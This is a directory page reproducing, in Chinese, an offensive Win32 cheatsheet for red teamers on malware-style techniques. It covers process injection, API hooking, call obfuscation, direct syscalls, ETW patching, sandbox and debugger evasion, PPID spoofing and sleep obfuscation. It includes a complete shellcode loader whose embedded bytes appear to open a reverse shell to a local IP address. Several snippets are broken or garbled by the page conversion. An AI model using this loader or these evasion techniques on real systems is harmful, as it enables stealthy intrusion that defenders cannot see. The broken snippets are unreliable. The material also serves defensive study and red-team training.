Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Win32_Offensive_Cheatsheet — Win32 and Kernel abusing techniques for pentesters | Kitploit
工具/GitHubGitHub/matthieu-hackwitharts/win32_offensive_cheatsheet
Persistence MechanismsExploitationIDS/IPS EvasionReverse EngineeringPost-ExploitationPenetration TestingBinary AnalysisLearning & EducationRed Teaming

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
Curated Resources
Payload Development
GitHubmatthieu-hackwitharts/win32_offensive_cheatsheet

Win32_Offensive_Cheatsheet

Win32 and Kernel abusing techniques for pentesters

查看仓库
9811362年前Kitploit 审核通过

Win32 攻击性速查表

由 @UVision 和 @RistBS 为渗透测试人员和红队成员制作的 Win32 与内核滥用技术

开发模式已启用,欢迎任何帮助 :)

  • Windows 二进制文档
    • PE 结构
    • PE 头
    • 解析 PE
    • 导出地址表 (EAT)
    • 解析函数地址
    • 导入地址表 (IAT)
      • 解析 IAT
    • 导入查找表 (ILT)
    • 启用 SeDebug 特权
  • 执行某些二进制文件
    • 经典 shellcode 执行
    • DLL 执行
    • RAW 文件转 PE
  • 代码注入技术
    • CreateRemoteThread 注入
    • 进程镂空
    • APC 队列技术
    • Early Bird
    • 反射式 DLL 注入
    • DLL 注入
    • Process Doppelganging
    • 纤程
    • CreateThreadPoolWait
    • 线程劫持
    • MapView 代码注入
    • 模块踩踏
    • 函数踩踏
  • 挂钩技术
    • 内联挂钩
    • IAT 挂钩
  • 逆向绕过技术
    • 调用与字符串混淆
    • 手动函数解析
    • Win32 API 哈希
  • EDR/终端绕过
    • 直接系统调用
    • 高级语言
    • 修补内联挂钩
    • 检测挂钩
    • 修补 ETW
    • 沙箱绕过
    • 调试绕过
    • VirtualProtect 技术
    • 全新副本解除挂钩
    • Hell's Gate
    • Heaven's Gate
    • PPID 欺骗
    • 进程检测回调
    • 堆加密
    • 睡眠混淆
  • 驱动程序编程基础
    • 基本概念
    • 系统服务调度表 (SSDT)
    • 驱动入口
    • 输入输出)
    • 与驱动程序通信
    • 驱动程序签名 (Microsoft)
    • 自定义回调 (ObRegisterCallbacks)
  • 攻击性驱动程序编程
    • 修补内核回调
    • 修补受保护进程
  • 使用 Win32 API 提高 OPSEC
    • 持久化
      • 计划任务
    • 命令行欺骗
  • 其他内容
    • x64 调用约定
    • 间接执行
      • 使用 SetProcessValidCallTargets 绕过 CFG

  • 恶意软件/复杂技术
    • Emotet 案例:使用 WMI 进行 PPID 欺骗
    • Zeus 恶意软件隐藏文件技术
    • SpyEye 键盘记录器挂钩技术
    • 最荒谬的恶意软件停止方法 (WannaCry)

Windows 二进制文档

有用的工具和网站/书籍/速查表

  • 🔹 https://github.com/RistBS/Awesome-RedTeam-Cheatsheet/ (非常好的速查表)
  • 🔹 https://www.ired.team/ (很棒的红队速查表,包含出色的代码注入笔记)
  • 🔹 https://undocumented.ntinternals.net/ (未记录的 NT 函数)
  • 🔹 https://docs.microsoft.com/en-us/windows/win32/api/ (微软官方文档)
  • 🔹 Windows Kernel Programming - Pavel Yosifovich
  • 🔹 https://research.checkpoint.com/ (关于逃避检测、反调试等非常有趣的文档)
  • 🔹 https://www.vx-underground.org/ (关于恶意软件开发与逆向的精彩内容)

PE 结构

PE 头

  • DOS_HEADER:PE 的第一个头,包含 MS DOS 消息("This programm cannot be run in DOS mode....")、MZ 头(用于标识 PE 的魔数)以及一些存根内容。
  • IMAGE_NT_HEADER:包含 PE 文件签名、文件头和可选头
  • SECTION_TABLE:包含节头
  • SECTIONS:不是头,但值得了解:这些是 PE 的节区

详情:https://www.researchgate.net/figure/PE-structure-of-normal-executable_fig1_259647266

解析 PE

简单的 PE 解析,用于获取 IAT 和 ILT 绝对地址:

  • 获取基址:GetModuleHandleA(NULL);
  • PIMAGE_DOS_HEADER = 基址,DOS 头
  • PIMAGE_NT_HEADER = BaseAddress+PIMAGE_DOS_HEADER.e_lfnanew(NT_HEADER 的 RVA)
  • IMAGE_DATA_DIRECTORY = PIMAGE_NT_HEADER 的 OptionnalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
  • IMAGE_IMPORT_DIRECTORY = IMAGE_DATA_DIRECTORY.VirtualAddress(IMAGE_IMPORT_DIRECTORY 的 RVA)
  • IMAGE_IMPORT_DESCRIPTOR = BaseAddress + IMAGE_IMPORT_DIRECTORY.VirtualAddress(IMAGE_IMPORT_DESCRIPTOR 的 RVA)
  • IAT 绝对地址:IMAGE_IMPORT_DESCRIPTOR.FirstThunk(IAT 的 RVA)+ 基址
  • ILT 绝对地址:IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk(ILT 的 RVA)+ 基址

导出地址表 (EAT)

EAT 解析 PE 导出的所有函数,也解析 DLL。它定义在 IMAGE_EXPORT_DIRECTORY 结构中:```c
typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; DWORD TimeDateStamp; WORD MajorVersion; WORD MinorVersion; DWORD Name; // name of DLL DWORD Base; // first ordinal number DWORD NumberOfFunctions; // number of entries in EAT DWORD NumberOfNames; // number of entries in (1) (2) DWORD AddressOfFunctions; // RVA EAT and contains also RVA of exported functions DWORD AddressOfNames; // Pointer array contains address of function names DWORD AddressOfNameOrdinals; // Pointer array contains address of ordinal number of functions (index in AddressOfFunctions) } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

root@kitploit:~
请注意,EAT 定义在 DLL 中,而不是在“真正的”PE 中(PE 会使用已加载 DLL 的 EAT 来解析它想要使用的函数的指针)。

### 解析函数地址

**使用函数地址**

你还在等什么?找到这个函数!

**使用序号**

序号是 `AddressOfFunctions` 数组中对应函数地址的**索引位置**。它可用于**检索函数的正确地址**,如下所示:

 让我们尝试使用给定的序号 3 来查找对应地址(Addr4)。

 - **AddressOfFunctions** : *Addr1 Addr2 Addr3 Addr4 .... AddrN*
 - **AdressOfNameOrdinals** : *2 5 7 3 ... N*

 我们要查找的地址位于第 3 个位置(从 0 开始),而我们的序号对应的是该地址的**索引**。

**使用函数名称**

AddressOfNames 数组中的第 N 个元素对应于 AddressOfNameOrdinals 数组中的第 N 个元素:使用给定的名称,您可以检索对应的序号,然后使用该序号继续查找函数地址。

## 导入地址表(IAT)

- PE 加载器不知道哪个地址对应哪个函数:让我们调用 IAT 来拯救我们
- 定义在 IMAGE_IMPORT_DIRECTORY 结构中:```c
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    DWORD	Characteristics; 
    DWORD	OriginalFirstThunk;	// RVA to ILT
    DWORD	TimeDateStamp;	
    DWORD	ForwarderChain;
    DWORD	Name; 		        // RVA of imported DLL name
    DWORD	FirstThunk;             // RVA to IAT
} IMAGE_IMPORT_DESCRIPTOR,*PIMAGE_IMPORT_DESCRIPTOR;

总而言之,IAT 是一个表,其中包含指向 PE 从已加载的 DLL(ntdll、kernel32 等)导入的多个函数的指针。

解析 IAT

  1. 获取 IAT 的 RVA
  2. 遍历 IMPORT_DESCRIPTOR 结构:Name 成员是当前 DLL 名称的 RVA
  3. 要获取真实的 DLL 名称:在 ILT(originalFirstThunk+BaseAddress)中找到它
  4. 要获取当前 DLL 的导出函数:PIMAGE_IMPORT_BY_NAME function_name->Name = ImageBase+AdressOfData

此处有详细代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/miscellaneous/iat_parser.cpp

导入查找表

PE 导入的每个 DLL 都有其自己的 ILT。``` Absolute address of ILT = BaseAddress + OriginalFirstThunk (IAT)

root@kitploit:~
它包含导入 DLL 中所有函数的名称。

<br>


## 启用 SeDebug 特权

**SeDebug** 特权是 Windows 特权列表中“最抢手”的特权。它允许你“调试”任何授权进程,这可以转化为多种攻击性操作,例如以 ```PROCESS_ALL_ACCESS``` 特权打开句柄。

要在用户模式下启用它,你需要使用一个类似这样的函数:```cpp
void EnableDebugPriv()
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkp;

    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);

    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = luid;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, false, &tkp, sizeof(tkp), NULL, NULL);

    CloseHandle(hToken); 
}

该函数将打开当前进程的令牌,然后将其调整为 SE_PRIVILEGE_ENABLED 特权,该特权与目标权限相对应。

执行某些二进制文件

经典 shellcode 执行

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/classic.cpp

DLL 执行

这项技术几年前曾有不俗的绕过成功率;然而,随着 EDR 和其他端点解决方案数量的增加,应尽可能避免写入磁盘。

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_classic.cpp

原始文件转 PE

你可以通过在一个内存区域中分配与文件大小相等的空间,在内存中执行某些原始二进制文件:```cpp HANDLE binfile = CreateFileA("myfile.bin",GENERIC_READ,NULL,NULL,OPEN_EXISTING,NULL,NULL); SIZE_T size = GetFileSize(binfile,NULL); LPVOID buffer=NULL; ReadFile(binfile,buffer,size,NULL,NULL); HANDLE hProc = GetCurrentProcess();

CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, 0, NULL); CloseHandle(hProc);

root@kitploit:~
<br>

# 代码注入技术

## CreateRemoteThread 注入

简单地将你的 shellcode 写入目标进程内先前分配的内存空间。(不符合 OPSEC)

> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/create_thread_injection.cpp

## 进程镂空(Process Hollowing)

进程镂空由以下几个步骤组成:

- 以挂起模式创建目标进程(被“镂空”的进程):需要对其进行修改
- 从其 PEB 中解除目标进程的映射(你必须先声明此结构)
- 将新 exe 的内容写入该进程:头部 + 内容
- 解析并应用重定位表
- 让进程在其线程中继续运行
- 享受成果

> 完整 POC 可在此处找到:https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations

## APC 队列技术

将你的 shellcode 注入进程中的所有可用线程,然后使用 ```QueueUserAPC()``` 函数来请求一次 APC 调用。当受感染进程中的线程数量不多时,该技术可能不太可靠。

> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/apc.cpp

## 早鸟(Early Bird)

与 APC 队列注入类似,此处 APC 调用必须设置在挂起进程中。随后恢复所创建进程的主线程;该技术的主要优势是:避免将 shellcode 写入正在运行的进程,从而更不容易被 AV/EDR 检测到。

> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/earlybird.cpp


## 反射式 DLL 注入(Reflective DLL Injection)

与“静态”DLL 注入(通过使用 DLL 文件)一样,你可以通过将自定义 DLL 在内存中进行反射,将其实注入到大多数进程中。尽管如今这种方式已相当容易被标记,但它仍具有轻松绕过某些 AV/EDR 产品的优势。

你必须首先分配内存并做一些重定位工作,才能使其正常运行。

关于该技术的著名 POC 由 stephenfewer 发布:https://github.com/stephenfewer/ReflectiveDLLInjection

## DLL 注入

你可以将存储在 DLL 中的某些代码注入到远程进程中。不幸的是,EDR 产品很可能会轻松捕获它,尤其是当恶意 DLL 触及磁盘时。

> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/dll_injection.cpp

## 进程替身(Process Doppelganging)

进程替身直到几年前还是一种以某些巧妙方式启动自己的 payload(载荷)的未被检测到的方法。它由 Tal Liberman 和 Eugene Kogan 在 BlackHat 2017 上演示,可以看看他们的精彩工作:https://www.youtube.com/watch?v=Cch8dvp836w

它是进程镂空技术之前的“中间”步骤:PE 镜像实际上在执行前会被覆盖,因此 WindowsLoader 会替我们完成进程镂空(是不是很酷?)。

Hasherezade 制作了一些关于该技术的很酷的 POC,可在此处获取:https://github.com/hasherezade/process_doppelganging

## 纤程(Fibers)

纤程可以被定义为 ```cooperatively 
threads (https://nullprogram.com/blog/2019/03/28/)```。它允许主程序通过这种新线程类型来执行 shellcode。

> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/fiber.cpp


## MapView 代码注入

该技术允许你将恶意进程中的内存区段视图与另一个远程进程共享,远程进程将执行存储在该视图中的 shellcode。可以通过使用 NtCreateSection/NtMapViewOfSection 来完成,从而避免使用 WriteProcessMemory() 或 VirtualAlloc() 等被重点监控的过程(不过,NtMapViewOfSection 也可能被监控)。

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/mapview_injection.cpp



## 模块踩踏(Module Stomping)

该技术使你的 beacon 由磁盘上的某个模块作为后盾。```c
CHAR moduleName[]  = "windows.storage.dll\x00";
HMODULE hVictimLib = LoadLibraryA(moduleName);

DWORD_PTR RXSection = (DWORD_PTR)hVictimLib;
RXSection 	   += 0x1000 * 0x2;
RXSection  	   += 0xc;
char* ptr 	    = ( char* )RXSection;

为了检测模块踩踏(尤其是针对 Cobalt Strike),有人发布了一个名为 DetectCobaltStomp 的扫描器,以突出该技术的部分 IoC;但 Brute Ratel 的作者 设法改进了原始技术。

函数踩踏

只需用新函数地址替换原始函数地址(通过 GetProcAddress 获取)。该技术由作者详细描述:https://idov31.github.io/2022-01-28-function-stomping/


Hook 技术

内联 Hook

内联 Hook 是最基本的函数挂钩方式:它只是将 API 调用重定向到自己的函数(跳转)。

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

IAT Hook

通过将相应的函数地址修改为指向你自己函数的指针,你可以让程序执行你自己的代码。

可以通过以下几个步骤完成:

  • 找到 IAT 的相对地址
  • 解析 IAT 以找到你要挂钩的函数
  • 将该函数地址("patch")替换为你函数的地址
  • 享受吧

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/iat.cpp


逆向绕过技术

调用与字符串混淆

有几种技术可用于隐藏对 Win32 API 的调用,以下是一些示例:

  • 使用 char[] 数组将你的函数/DLL 名称拆分成多个字符```cpp char sWrite[] = {'W','r','i','t','e','P','r','o','c','e','s','s','M','e','m','o','r','y',0x0}; //don't forget the null byte
root@kitploit:~
> 你甚至可以将此技巧与某些 ASCII 字符代码转换结合使用。

## 手动解析函数

你可以手动解析指向 kernel32、ntdll 等中任意函数的指针。

- 首先,根据真实函数头声明你的函数模板:```cpp
typedef HANDLE(WINAPI* myOpenProcess)(DWORD,BOOL,DWORD); //if you work directly with ntdll, use NTAPI*
  • 然后解析指向该函数的指针:```cpp myOpenProcess op_proc = (myOpenProcess*)GetProcAddress(LoadLibraryA("ndll.dll"),"OpenProcess")); op_proc(PROCESS_ALL_ACCESS,NULL,12345);
root@kitploit:~
> 不要犹豫,将此技术与一些字符串混淆技术结合使用,以避免明文传递真实的函数名。

## Win32 API 哈希

你可以使用某种哈希算法(最常用的是 djb2)对 API 函数调用进行哈希来隐藏它们,但要注意某些特殊函数可能发生哈希碰撞。然后将此技术与在 EAT 中直接解析地址相结合,让逆向工程师们哭去吧 :)

<br>

# EDR/端点绕过


## 直接系统调用

大多数 EDR 产品会在用户态挂钩 win32 API 调用(PatchGuard 极大地降低了内核挂钩的可用性)。为了避免这些挂钩,你可以直接调用与 API 函数等效的 Nt() 函数。

-```asm
.code
	SysNtCreateFile proc
			mov r10, rcx //syscall convention
			mov eax, 55h //syscall number : in this case it's NtCreateFile
			syscall //call nt function
			ret
	SysNtCreateFile endp
end

在此表中找到正确的系统调用编号:https://j00ru.vexillium.org/syscalls/nt/64/

  • 使用 NTSTATUS 构建函数原型```cpp EXTERN_C NTSTATUS SysNtCreateFile( PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength);
root@kitploit:~
- 解析 NT 地址```cpp
FARPROC addr = GetProcAddress(LoadLibraryA("ntdll"), "NtCreateFile");

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/direct_syscall.cpp

高级语言

C++/C 通常比同等高级语言更容易被 AV/EDR 产品标记:请使用 Go、Rust 或其他语言来制作你的最佳模板。

修补内联挂钩

只需通过应用正确的函数调用,即可(重新)挂钩你的已挂钩函数:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/hooking/inline.cpp

检测钩子

要检测钩子,首先需要使用 LoadLibrary 获取 NTDLL 的基地址,然后解析 PE 头以定位 EAT(IMAGE_EXPORT_DIRECTORY)及其偏移量,其中包含所有重要信息(导出函数 + 名称)。只需在遍历导出函数时解析函数名称和地址,并应用以下 if 语句对函数进行分类

  • 对函数进行排序,仅获取 Nt 或 Zw 函数```c if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0) { // ... }
root@kitploit:~
> **⚠️** : 某些功能存在误报,我建议你自行检测它们 :```c
        if (strncmp(functionName, (char*)"NtGetTickCount", 14) == 0 ||
             strncmp(functionName, (char*)"NtQuerySystemTime", 17) == 0 ||
              strncmp(functionName, (char*)"NtdllDefWindowProc_A", 20) == 0 ||
               strncmp(functionName, (char*)"NtdllDefWindowProc_W", 20) == 0 ||
                strncmp(functionName, (char*)"NtdllDialogWndProc_A", 20) == 0 ||
                 strncmp(functionName, (char*)"NtdllDialogWndProc_W", 20) == 0 ||
                  strncmp(functionName, (char*)"ZwQuerySystemTime", 17) == 0) { }
  • 对于最后一个 if 语句,检查 functionName 的前 4 个字节是否等于 mov r10, rcx; mov eax, ##,即 syscall 存根的开头```c if (memcmp(functionAddress, syscallPrologue, 4) != 0) { // ... }
root@kitploit:~
> 代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/tree/main/evasion/detect_hooks.c


## 修补 ETW

Windows 事件跟踪(ETW)是一个低层级的日志记录 API,可用于调试/记录内核和用户态进程。它最早在 Windows 2000 中实现,但从 Windows XP 开始才真正提供实时监控。

ETW API 可通过 Microsoft 提供的头文件获取:https://docs.microsoft.com/fr-fr/windows/win32/api/_etw/

在渗透测试操作中,你应该通过修补它来关注此功能:最常用的方法是将任意的 ```ret``` 操作码写入 ETW 事件写入函数(```EtwEventWrite```),以避免日志被写入某个地方。

代码示例://

## 沙箱绕过

沙箱被 AV/EDR 广泛用于在真正执行你的程序之前测试某些 API 调用和其他代码部分。有几种技术可以规避这种工具,下面是一些例子:

- 等待。说真的。诸如 `Sleep()` 或 `time.sleep()` 或等效功能可以做到这一点,在执行真正的 shellcode 之前等待几秒钟。
- 尝试分配大量内存(malloc),例如 100000000 字节。
- 尝试检测你是否真的处于沙箱(VM)环境中:测试打开的进程、文件和其他可疑事物。
- 尝试解析一个假的(无法工作的)URL:许多杀毒软件产品会返回虚假页面。
- 使用奇怪且很少使用的 API 调用,例如 `VirtualAllocExNuma()`,大多数沙箱无法模拟此类调用。```cpp
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);

调试绕过(Debugging Bypass)

这不是真正的 AV 规避技术,但对于避免被逆向工程师轻易反编译仍然很有用。有很多方法可以检测调试器或让调试器崩溃,以下是其中一些:

标志检测方式(Flags way)

你可以使用 IsDebuggerPresent()(Win32)或直接调用 NtQueryInformationProcess()(文档不太完善)来检查调试标志。

句柄检测方式(Handles way)

尝试使用 CloseHandle() API 关闭无效(缺失)的句柄。调试器会尝试捕获该异常,而这很容易被检测到:```cpp bool Check() //https://anti-debug.checkpoint.com/techniques/object-handles.html#closehandle { __try { CloseHandle((HANDLE)0xDEADBEEF); return false; } __except (EXCEPTION_INVALID_HANDLE == GetExceptionCode() ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { return true; } }

root@kitploit:~
**ASM 方式**

尝试发出一个 INT 3 调用(ASM):它相当于软件断点,会触发调试器。检测调试器的方法还有很多,其中很多已经编译在:https://anti-debug.checkpoint.com/

## VirtualProtect 技术

通过使用一些 `VirtualProtect()` 的技巧,你可以轻松避免在内存中被标记:在 `PAGE_EXECUTE_READWRITE` 和 `PAGE_READWRITE`(不太可疑)之间切换,以避免触发你最喜欢的 AV。


## Fresh Copy Unhook

通过直接用从磁盘映射的全新 ntdll 替换“被挂钩的”ntdll 来避免钩子。

代码示例:// to add

## Hells Gate

为了避免使用硬编码的系统调用,Hell's Gate(Hells Gates?)通过解析 EAT(将内存字节与系统调用操作码进行比较)来动态检索它们。原始 PoC 由伟大的 VX-Underground 团队制作,可在此处找到:https://papers.vx-underground.org/papers/Windows/Evasion%20-%20Systems%20Call%20and%20Memory%20Evasion/Dynamically%20Retrieving%20SYSCALLs%20-%20Hells%20Gate.7z

另一个示例:https://github.com/am0nsec/HellsGate

## Heavens Gate

使用 Wow64 将 64 位载荷注入 32 位加载器中。这对于绕过某些 AV/EDR 很有用,因为 Wow64 会让你避免在用户态被捕获。

该技术最著名的版本由 MSF 团队创建,在此查看他们的出色工作:https://github.com/rapid7/metasploit-framework/blob/21fa8a89044220a3bf335ed77293300969b81e78/external/source/shellcode/windows/x86/src/migrate/executex64.asm

## CreateThreadPoolWait

通过滥用 CreateThreadPoolWait()(它可以接受指向回调函数的指针),你可以通过该过程执行你的 shellcode。大量类似的技术(使用回调函数指针)可在以下网址获得:http://ropgadget.com/posts/abusing_win_functions.html

示例:```cpp
//code from https://www.ired.team/offensive-security/code-injection-process-injection/shellcode-execution-via-createthreadpoolwait

#include <windows.h>
#include <threadpoolapiset.h>

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\xc0\xa8\x38\x66\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


int main()
{
	HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
	LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));

	PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
	SetThreadpoolWait(threadPoolWait, event, NULL);
	WaitForSingleObject(event, INFINITE);
	
	return 0;
}

线程劫持

通过挂起远程进程中的线程,然后将其 RIP 寄存器(如果在 x86 中则为 EIP)替换为你自己的 shellcode 地址,从而劫持该线程。

代码示例:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/shellcode_samples/thread_hijacking.c

PPID 欺骗

当一个可疑/异常进程启动在“合法”或无人值守的父进程之下时,它会变得非常可疑。试想一个恶意的 Word 宏部署了一个 powershell 进程:这很奇怪,对吧?

PPID 欺骗可以通过允许你修改所生成进程的父进程 ID(PPID)来避免这种情况。```cpp #include <windows.h> #include <TlHelp32.h> #include

//code from : https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing int main() { STARTUPINFOEXA si; PROCESS_INFORMATION pi; SIZE_T attributeSize; ZeroMemory(&si, sizeof(STARTUPINFOEXA));

root@kitploit:~
HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 6200);

InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

return 0;

}

root@kitploit:~
## Process Instrumentation Callback

Process Instrumentation Callback 被定义为 `ProcessInstrumentationCallback` 标志(`0x40`),安全产品通过注册回调来[检测潜在的直接系统调用](https://winternl.com/detecting-manual-syscalls-from-user-mode/)的调用,以检查 `syscall` 指令是否来自可执行映像而不是 NTDLL。要针对我们的进程绕过它,只需将 `Callback` 设置为 `NULL`。```c
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION InstrumentationCallbackInfo;

InstrumentationCallbackInfo.Version  = 0x0;
InstrumentationCallbackInfo.Reserved = 0x0;
InstrumentationCallbackInfo.Callback = NULL;

NtSetInformationProcess( hProcess, ProcessInstrumentationCallback, &InstrumentationCallbackInfo, sizeof( InstrumentationCallbackInfo ) );

它仍然被微软视为“未文档化”,但 Alex Ionescu 在这里对其进行了文档化,Everdox 也在这里做过同样的事。

绕过检测的完整代码如下:https://github.com/matthieu-hackwitharts/Win32_Offensive_Cheatsheet/blob/main/evasion/disable_instrumentation_callback.c

堆加密

使用 HeapWalk 遍历堆,然后加密分配的内存:```c VOID HeapEncryptDecrypt() { PROCESS_HEAP_ENTRY HeapWalkEntry; SecureZeroMemory( &HeapWalkEntry, sizeof( HeapWalkEntry ) ); while ( HeapWalk( GetProcessHeap(), &HeapWalkEntry ) ) { if ( ( HeapWalkEntry.wFlags & PROCESS_HEAP_ENTRY_BUSY ) != 0 ) { XORFunction( key, keySize, ( char* )( HeapWalkEntry.lpData ), HeapWalkEntry.cbData ); } } }

root@kitploit:~
> 更多信息请访问:https://www.arashparsa.com/hook-heaps-and-live-free/

## 睡眠混淆

围绕睡眠混淆出现了许多采用不同机制(UM APCs、TP 等)的 PoC,这里我们以 [Ekko](https://github.com/Cracked5pider/Ekko/) 为例,它是最容易理解的 PoC。

Ekko 的 ROP 链非常简单:它将内存保护更改为 `RW`,使用实现了 RC4 的 `SystemFunction032` 加密区域,通过 `WaitForSingleObject` 睡眠,解密区域,并将保护再次切换为 `RWX`。最后,它通过 `CreateTimerQueueTimer` 将所有 `CONTEXT` 排入队列。

